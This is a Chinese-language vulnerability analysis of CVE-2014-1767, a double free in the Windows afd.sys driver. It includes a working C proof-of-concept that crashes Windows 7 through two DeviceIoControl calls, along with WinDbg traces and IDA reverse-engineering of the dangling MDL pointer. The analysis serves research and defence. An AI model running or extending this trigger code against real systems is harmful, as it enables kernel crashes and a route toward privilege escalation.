CVE-2014-1767

[0x00].简介 

CVE-2014-1767漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中，存在着悬垂指针的问题。在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞。

测试环境：

	推荐环境	备注
虚拟机环境	Win 7	32位
编译器	VC6.0
调试器	Windbg
反编译器	IDA pro

 [0x01].漏洞分析

 首先在VC6上编译以下用于触发漏洞的poc代码，然后在虚拟机中运行生成的poc.exe.同时挂载内核调试器进行分析

#include <windows.h>
#include <stdio.h>
#pragma comment(lib, “WS2_32.lib”)
 
int main()
{
    DWORD targetSize = 0×310 ;
    DWORD virtualAddress = 0×13371337 ;
    DWORD mdlSize=(0×4000*(targetSize-0×30)/8)-0xFFF-(virtualAddress& 0xFFF) ;
    static DWORD inbuf1[100] ;
    memset(inbuf1, 0, sizeof(inbuf1)) ;
    inbuf1[6]  = virtualAddress ;
    inbuf1[7]  = mdlSize ;
    inbuf1[10] = 1 ;
    static DWORD inbuf2[100] ;
    memset(inbuf2, 0, sizeof(inbuf2)) ;
    inbuf2[0] = 1 ;
    inbuf2[1] = 0x0AAAAAAA ;
    WSADATA      WSAData ;
    SOCKET       s ;
    sockaddr_in  sa ;
    int          ierr ;
    WSAStartup(0×2, &WSAData) ;
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
    memset(&sa, 0, sizeof(sa)) ;
    sa.sin_port = htons(135) ;   
    sa.sin_addr.S_un.S_addr = inet_addr(“127.0.0.1″) ;
    sa.sin_family = AF_INET ; 
    ierr = connect(s, (const struct sockaddr *)&sa, sizeof(sa)) ;
    static char outBuf[100] ;
    DWORD bytesRet ;
    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0×30, outBuf, 0, &bytesRet, NULL);
    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0×18, outBuf, 0, &bytesRet, NULL);
    return 0 ;
}

POC主要做了这么两件事：

1. 初始化了一个本地socket连接。

2. 给这个socket发送了两个控制码：0x1207F和0x120C3。

运行后系统崩溃，在Windbg调试器断下

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 0000109b, (reserved)
Arg3: 08bd0004, Memory contents of the pool block
Arg4: 87686218, Address of the block of pool being deallocated

Debugging Details:
------------------


POOL_ADDRESS:  87686218 Nonpaged pool

FREED_POOL_TAG:  Mdl 

BUGCHECK_STR:  0xc2_7_Mdl 

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

PROCESS_NAME:  poc.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from 83f1a08f to 83eb6110

STACK_TEXT:  
a899154c 83f1a08f 00000003 ef6507c2 00000065 nt!RtlpBreakWithStatusInstruction
a899159c 83f1ab8d 00000003 87686210 000001ff nt!KiBugCheckDebugBreak+0x1c
a8991960 83f5bc6b 000000c2 00000007 0000109b nt!KeBugCheck2+0x68b
a89919d8 83ec7eb2 87686218 00000000 87677c48 nt!ExFreePoolWithTag+0x1b1
a89919ec 9085ceb0 87686218 00000000 9083f89f nt!IoFreeMdl+0x70
a8991a08 9083f8ac 00000000 00000001 381a49ac afd!AfdReturnTpInfo+0xad
a8991a44 90840bba 381a4904 000120c3 90840a8c afd!AfdTliGetTpInfo+0x89
a8991aec 908452bc 87678c90 869b2848 a8991b14 afd!AfdTransmitPackets+0x12e
a8991afc 83e72593 869b2848 86c63160 86c63160 afd!AfdDispatchDeviceControl+0x3b
a8991b14 8406598f 87678c90 86c63160 86c6323c nt!IofCallDriver+0x63
a8991b34 84068b61 869b2848 87678c90 00000000 nt!IopSynchronousServiceTail+0x1f8
a8991bd0 840af3fc 869b2848 86c63160 00000000 nt!IopXxxControlFile+0x6aa
a8991c04 83e791ea 00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
a8991c04 777c70b4 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a
0012fc8c 777c5864 75b6989d 00000050 00000000 ntdll!KiFastSystemCallRet
0012fc90 75b6989d 00000050 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
0012fcf0 771aa671 00000050 000120c3 00427c50 KERNELBASE!DeviceIoControl+0xf6
0012fd1c 00401186 00000050 000120c3 00427c50 kernel32!DeviceIoControlImplementation+0x80
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ff48 004013b9 00000001 006e0de8 006e0e40 poc+0x1186
0012ff88 771b3c45 7ffd4000 0012ffd4 777e37f5 poc+0x13b9
0012ff94 777e37f5 7ffd4000 7795f253 00000000 kernel32!BaseThreadInitThunk+0xe
0012ffd4 777e37c8 004012d0 7ffd4000 00000000 ntdll!__RtlUserThreadStart+0x70
0012ffec 00000000 004012d0 7ffd4000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  kb

FOLLOWUP_IP: 
afd!AfdReturnTpInfo+ad
9085ceb0 ff45fc          inc     dword ptr [ebp-4]

目前，我们可以知道：

出问题的是afd.sys模块，漏洞的类型为double free，free 的对象是Mdl，并且发生崩溃时存在这样的调用关系：

afd!AfdTransmitPackets->afd!AfdTliGetTpInfo->afd!AfdReturnTpInfo->nt!IoFreeMdl

根据上面加粗的提示可以知道，由于此处重复释放一块已经释放的内存，导致双重释放（double free）才引发崩溃。在poc中，程序两次调用DeviceIoControl,分别向IO控制码0x1207F和0x120C3发送数据，因此我们直接从这两个IO控制码的分发函数入手。

要找到这个对应关系，有这样的调试技巧：用户层的IoControl消息到都会被内核包装成IRP包，发送给对应驱动的IRP_MJ_DEVICE_CONTROL例程来处理，IRP_MJ_DEVICE_CONTROL例程会根据控制码来选择对应的函数。

Windbg为我们提供了这样的功能：

kd> !drvobj AFD 2
Driver object (869b23c8) is for:
 DriverAFD
DriverEntry:   9086863d	afd!GsDriverEntry
DriverStartIo: 00000000	
DriverUnload:  9083d5b6	afd!AfdUnload
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      90847190	afd!AfdDispatch
[01] IRP_MJ_CREATE_NAMED_PIPE           90847190	afd!AfdDispatch
[02] IRP_MJ_CLOSE                       90847190	afd!AfdDispatch
[03] IRP_MJ_READ                        90847190	afd!AfdDispatch
[04] IRP_MJ_WRITE                       90847190	afd!AfdDispatch
[05] IRP_MJ_QUERY_INFORMATION           90847190	afd!AfdDispatch
[06] IRP_MJ_SET_INFORMATION             90847190	afd!AfdDispatch
[07] IRP_MJ_QUERY_EA                    90847190	afd!AfdDispatch
[08] IRP_MJ_SET_EA                      90847190	afd!AfdDispatch
[09] IRP_MJ_FLUSH_BUFFERS               90847190	afd!AfdDispatch
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    90847190	afd!AfdDispatch
[0b] IRP_MJ_SET_VOLUME_INFORMATION      90847190	afd!AfdDispatch
[0c] IRP_MJ_DIRECTORY_CONTROL           90847190	afd!AfdDispatch
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         90847190	afd!AfdDispatch
[0e] IRP_MJ_DEVICE_CONTROL              90845281	afd!AfdDispatchDeviceControl
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     90825831	afd!AfdWskDispatchInternalDeviceControl

　这样就可以得到afd.sys对应的IRP_MJ_DEVICE_CONTROL例程为afd!AfdDispatchDeviceControl，利用IDA对该函数简单分析后，其大致流程如下：

PAGEAFD:000314C9 ; int __stdcall AfdDispatchDeviceControl(int, PIRP Irp)
PAGEAFD:000314C9 _AfdDispatchDeviceControl@8 proc near   ; CODE XREF: AfdDispatch(x,x)+3C↓p
PAGEAFD:000314C9                                         ; DATA XREF: DriverEntry(x,x)+2FA↓o
PAGEAFD:000314C9
PAGEAFD:000314C9 Irp             = dword ptr  0Ch
PAGEAFD:000314C9
PAGEAFD:000314C9                 mov     edi, edi
PAGEAFD:000314CB                 push    ebp
PAGEAFD:000314CC                 mov     ebp, esp
PAGEAFD:000314CE                 mov     ecx, [ebp+Irp]  ; Irp
PAGEAFD:000314D1                 mov     edx, [ecx+60h]  ; edx = IrpStackLocation
PAGEAFD:000314D4                 push    esi
PAGEAFD:000314D5                 push    edi
PAGEAFD:000314D6                 mov     edi, [edx+0Ch]  ; edi = DeviceIoControl的控制码
PAGEAFD:000314D9                 mov     eax, edi
PAGEAFD:000314DB                 shr     eax, 2          ; IoControl>>2
PAGEAFD:000314DE                 and     eax, 3FFh       ; 将控制码的高位都清零，这样就只剩下IoControl的功能号了
PAGEAFD:000314E3                 cmp     eax, 46h
PAGEAFD:000314E6                 jnb     short loc_31506
PAGEAFD:000314E8                 mov     esi, eax
PAGEAFD:000314EA                 shl     esi, 2
PAGEAFD:000314ED                 cmp     ds:_AfdIoctlTable[esi], edi
PAGEAFD:000314F3                 jnz     short loc_31506
PAGEAFD:000314F5                 mov     [edx+1], al
PAGEAFD:000314F8                 mov     esi, ds:_AfdIrpCallDispatch[esi]
PAGEAFD:000314FE                 test    esi, esi
PAGEAFD:00031500                 jz      short loc_31506
PAGEAFD:00031502                 call    esi             ; 调用控制码对应的函数

1.IO控制码0x1207F

为了跟踪Io控制码0x1207F对应的处理函数，首先在Windbg中针对afd!AfdDispatchDeviceControl设置条件断点，当其在处理io控制码0x1207F时断下。

kd> ba e1 afd!AfdDispatchDeviceControl+10 ".if(@edi==0x1207F){}.else{gc}"
kd> g

afd!AfdDispatchDeviceControl+0x39:
9065d2ba ffd6            call    esi
kd> t
afd!AfdTransmitFile:

可以看到当IOCTL为0x1207F时，afd驱动中的AfdTransmitFile函数会被调用

AfdTransmitFile函数原型为

AfdTransmitFile（pIRP,pIoStackLocation）

pIRP各字段含义

kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 MdlAddress       : Ptr32 _MDL
   +0x008 Flags            : Uint4B
   +0x00c AssociatedIrp    : <unnamed-tag>
   +0x010 ThreadListEntry  : _LIST_ENTRY
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : Char
   +0x021 PendingReturned  : UChar
   +0x022 StackCount       : Char
   +0x023 CurrentLocation  : Char
   +0x024 Cancel           : UChar
   +0x025 CancelIrql       : UChar
   +0x026 ApcEnvironment   : Char
   +0x027 AllocationFlags  : UChar
   +0x028 UserIosb         : Ptr32 _IO_STATUS_BLOCK
   +0x02c UserEvent        : Ptr32 _KEVENT
   +0x030 Overlay          : <unnamed-tag>
   +0x038 CancelRoutine    : Ptr32     void 
   +0x03c UserBuffer       : Ptr32 Void
   +0x040 Tail             : <unnamed-tag>

pIoStackLocation各字段含义

kd> dt _IO_STACK_LOCATION
ntdll!_IO_STACK_LOCATION
   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x004 Parameters       : <unnamed-tag>
   +0x014 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x018 FileObject       : Ptr32 _FILE_OBJECT
   +0x01c CompletionRoutine : Ptr32     long 
   +0x020 Context          : Ptr32 Void

//Paramaters for IRP_MJ_DEVICE_CONTROL
struct{
        ULONG OutputBufferLength;
        ULONG POINTER_ALIGNMENT InputBufferLength;
        ULONG POINTER_ALIGNMENT IoControlCode;
        PVOID Type3InputBuffer;
}DeviceIoControl;

在ida里查看AfdTransmitFile函数

v2 = pIoStackLocation;
  v64 = pIoStackLocation;
  v3 = pIRP;
  v62 = pIRP;
  Entry = 0;
  v70 = 0;
  v69 = 0;
  v4 = *(_DWORD *)(*(_DWORD *)(pIoStackLocation + 0x18) + 0xC); //FsContext
  v63 = v4;
  if ( *(_WORD *)v4 == 0x1AFD ) //FsContext != 0x1AFD,防止跳转
  {
    v68 = -1073741574;
    goto LABEL_97;
  }
  if ( *(_DWORD *)(v2 + 8) < 0x30u ) //InputbufferLength >= 0x30 ,防止跳转
  {
    v68 = -1073741811;
    goto LABEL_97;
  }
  v68 = 0;
  ms_exc.registration.TryLevel = 0;
  if ( *(_BYTE *)(pIRP + 0x20) ) //RequestorMode
  {
    v5 = *(_DWORD *)(v2 + 0x10);
    if ( v5 & 3 ) //Type3InputBuffer & 3 == 0 ,防止跳转
      ExRaiseDatatypeMisalignment();
    if ( v5 >= AfdUserProbeAddress )
      v5 = AfdUserProbeAddress;
    v6 = *(_BYTE *)v5;
  }
  qmemcpy(&v45, *(const void **)(v64 + 0x10), 0x30u);
//v54 = v45 + 0x28, Handle = v45 + 0x14, v46 = v45 + 0x4
//因此只有当 (Type3InputBuffer + 0x28) & 0xFFFFFFC8 == 0 ， （Type3InputBuffer + 0x28） & 0x30 != 48 , Type3InputBuffer + 0x4 >= 0,就不会跳转
  if ( v54 & 0xFFFFFFC8 || (v54 & 0x30) == 48 || Handle && v46 < 0 )
  {
    v68 = -1073741811;
    goto LABEL_96;
  }
  if ( !(v54 & 0x30) ) //
    v54 |= AfdDefaultTransmitWorker;
  if ( *(_DWORD *)(v4 + 8) & 0x200 )
    v7 = AfdTliGetTpInfo(3u); //从函数调用栈可知AfdTliGetTpInfo函数被调用

接着看AfdTliGetTpInfo函数

_DWORD *__fastcall AfdTliGetTpInfo(unsigned int a1)
{
  unsigned int v1; // edi
  _DWORD *tpinfo; // eax
  _DWORD *v3; // esi

  v1 = a1;
//从non-paged链节点里分配内存，返回TpInfo结构指针
  tpinfo = ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&AfdGlobalData[6].ContentionCount);
  v3 = tpinfo;
  if ( !tpinfo )
    return 0;
//设置Tpinfo结构数据
  tpinfo[2] = 0;
  tpinfo[3] = 0;
  tpinfo[4] = tpinfo + 3;
  tpinfo[5] = 0;
  tpinfo[6] = tpinfo + 5;
  tpinfo[13] = 0;
  *((_BYTE *)tpinfo + 51) = 0;
  tpinfo[9] = 0;
  tpinfo[11] = -1;
  tpinfo[15] = 0;
  tpinfo[1] = 0;
//v1 > 3，之后都称v1为TpInfoElementCount
  if ( v1 > AfdDefaultTpInfoElementCount )
  {
//TpInfoElement结构大小为0x18
//将分配后的pTpInfoElement指针存在tpinfo+0x20的位置
    tpinfo[8] = ExAllocatePoolWithQuotaTag((POOL_TYPE)16, 0x18 * v1, 0xC6646641);
    *((_BYTE *)v3 + 50) = 1;
  }
  return v3;
}

继续回到AfdTransmitFile函数中

if ( *(_DWORD *)(v4 + 8) & 0x200 )
    v7 = AfdTliGetTpInfo(3u);
  else
    v7 = (_DWORD *)AfdTdiGetTpInfo(3);
  v8 = v7;//v8,v7都指向tpinfo结构
  Entry = v7;
  if ( !v7 )
    goto LABEL_21;
  v9 = v7 + 10;//v9 = tpinfo + 0xA
  v66 = v9;
  *v9 = 0;
  v10 = v8 + 14;
  v59 = v10;
  v11 = v48;
  *v10 = v48;
  if ( v11 )
    v69 = 1;
  else
    *v10 = AfdTransmitIoLength;//tpinfo + 0xE = AfdTransmitIoLength
  v12 = Length;
  if ( Length )
  {
//可以看出v66为TpInfoElementIndex,所以用来乘以TpinfoElemnet结构大小0x18
//因此v65就是指向具体的TpinfoElement数组元素
    v13 = *v66;
    v65 = (_DWORD *)(v8[8] + 24 * *v66);
    v14 = v65;
    *v66 = v13 + 1;
    v15 = VirtualAddress;
    v14[2] = VirtualAddress;//TpinfoElemnet + 8 = VirtualAddress
    v14[1] = v12;//TpinfoElement + 4 = Length
    *v14 = 1;
    if ( v54 & 0x10 )
    {
      *v14 = -2147483647;
      v16 = IoAllocateMdl(v15, v12, 0, 1u, 0);
      v14[3] = v16;//TpinfoElement + 0xc = pMDL,指向分配的Mdl
      if ( !v16 )
        goto LABEL_21;
      MmProbeAndLockPages(v16, *(_BYTE *)(v3 + 32), 0);//锁定内存
    }
  }

根据前面的分析，我们可以大致绘制出Tpinfo和TpInfoElement的数据结构

在AfdTransmitFile函数调用完IoAllocateMdl分配完内存后，单步跟踪下去，它会调用MmProAndLockPages去锁定内存范围0x13371000~0x13371000+0x16ecca(均是由Poc中的代码设置的值）

该范围属于无效范围，因此会触发异常。

触发异常后，程序会调用AfdReturnTpInfo函数，在该函数中，由于在是否MDL资源后，未对TpInfoElement + 0xC指针做清除处理，导致其成为“悬挂指针”。

void __stdcall AfdReturnTpInfo(PVOID Entry, char a2)
{
... ...
        v6 = *(_DWORD *)(v4 + 12);
        if ( v6 )
        {
          if ( *(_BYTE *)(v6 + 6) & 2 )
            MmUnlockPages(*(PMDL *)(v4 + 12));
          IoFreeMdl(*(PMDL *)(v4 + 0xC));
        }
... ...
}

如果此时AfdReturnTpInfo函数再被调用，那么悬挂指针TpInfoElement + 0xC将会被IoFreeMdl函数再free一遍，最终造成“double free”双重释放漏洞

 2.IO控制码0x120C3

继续下条件断点，追踪Io控制码0x120C3对应的处理函数，可以发现它调用的是AfdTransmitPackets函数，

kd> kb
ChildEBP RetAddr  Args to Child              
a1f77a08 8a5b98ac 87feb358 00000001 2bad8e95 afd!AfdReturnTpInfo
a1f77a44 8a5babba 2bad8e3d 000120c3 8a5baa8c afd!AfdTliGetTpInfo+0x89
a1f77aec 8a5bf2bc 87d4ee10 8692c5d0 a1f77b14 afd!AfdTransmitPackets+0x12e
a1f77afc 83e55593 8692c5d0 87f31b10 87f31b10 afd!AfdDispatchDeviceControl+0x3b

afd!AfdTransmitPackets函数的两个参数分别是pIRP和pIoStackLocation,在ida中对其进行分析

 __fastcall AfdTransmitPackets(PIRP Irp, PIO_STACK_LOCATION IoStack)
{
    IoStack->InputBufferLength >= 0×10
    IoStack->Type3InputBuffer & 3 == 0
    IoStack->Type3InputBuffer < 0x7fff0000
    memcpy(tempBuf, IoStack->Type3InputBuffer, 0×10);
    *(DWORD*)(tempBuf+0x0C) & 0xFFFFFFF8 == 0
    *(DWORD*)(tempBuf+0x0C) & 0×30 != 0×30
    *(DWORD*)(tempBuf) != 0
    *(DWORD*)(tempBuf+4) != 0
    *(DWORD*)(tempBuf+4) <= 0x0AAAAAAA
 
    // 以上条件关系全部成立则控制流达到此处，
    // 用户输入 可以控制 申请的TpElement数目 ！！！
    AfdTliGetTpInfo( *(DWORD*)(tempBuf+4) )
}

关于AfdTliGetTpinfo函数，前面已经逆向分析过，它会调用ExAllocatePoolWithQuotaTag分配*（Type3InputBuffer + 4）个TpinfoElement所需要的内存。在poc中设置为0x0AAAAAAA,而每个TpInfoElement结构占0x18字节，因此共需要申请内存0xFFFFFFF0,这么大的内存申请在32位系统上不会成功，会触发异常再次进入AfdReturnTpInfo函数中。

AfdReturnTpInfo函数会再次释放Mdl结构，可以发现它此时释放的正是之前释放的那个，由此造成Double Free漏洞

[0x02].总结

整个漏洞的流程如下。

POC创建了一个以socket为基础的本地网络连接，调用DeviceIoControl向socket对象分别发送两个控制码0x1207F和0x120C3，这两次控制码分别对应afd.sys的AfdTransmitFile和AfdTransmitPackets。

IOControl=0x1207F

1. AfdTransmitFile会调用AfdTliGetTpInfo来获得一个TpInfo结构

2. 接着AfdTransmitFile根据用户层传递过来的VirtualAddress=0x13371337和Length来创建一个Mdl，用来和用户层交互，并将这个Mdl的地址保存到TpInfo结构中的TpElementArray数组中。

3. AfdTransmitFile接着调用MmProbeAndLockPages函数，准备对申请的Mdl进行操作，但是由于无效的地址(VirtualAddress=0x13371337)，程序进入到异常处理的流程中。

4. 异常处理流程会调用AfdReturnTpInfo函数，AfdReturnTpInfo函数遍历TpInfo结构的TpElementArray数组，将Mdl释放掉。接着其会调用ExFreeToNPagedLookasideList释放刚创建的TpInfo。

5. 但是因为此时这个Lookaside很"闲"，ExFreeToNPagedLookasideList不会将TpInfo释放掉，而是将其挂载到Dedicated Lookaside List中去。但此时TpInfo所在pool数据还保留着，并没有清空，当然也包括已经释放掉的Mdl地址，成了一个dangling pointer，这里就埋下了隐患。这是第一次free的地方。

第一次IoControl的操作主要就是放置一个dangling pointer到Lookaside Lists中。

第二次IoControl对这个dangling pointer进行二次释放。

IOControl=0x120C3

1. 接下来AfdTransmitPackets同样会调用AfdTliGetTpInfo创建一个TpInfo结构。AfdTliGetTpInfo会调用ExAllocateFromNPagedLookasideList。因为此时的Lookaside Lists不为空，所以会从中卸载一个ListEntry给TpInfo使用，而此时Lookaside就只有一个上一次AfdTransmitFile函数放入的ListEntry，所以这个ListEntry正好是响应上一个控制码所放进去的那个！

2. 接着AfdTliGetTpInfo会从用户层输入inbuf2[1]获得值0x0AAAAAAA，作为TpElementCount，接下来会创建一个0x0AAAAAAA*0x18=0xFFFFFFF0大小的pool,这显然太大了，所以会再一次的进去到异常处理的操作。

3. 异常处理会调用AfdReturnTpInfo，其会遍历TpInfo尝试释放掉Mdl。因为此时的TpInfo所在的pool正是" dangling pointer"，而Mdl已经被释放过一次了，这时发生double-free。

4. 然后发生BSOD。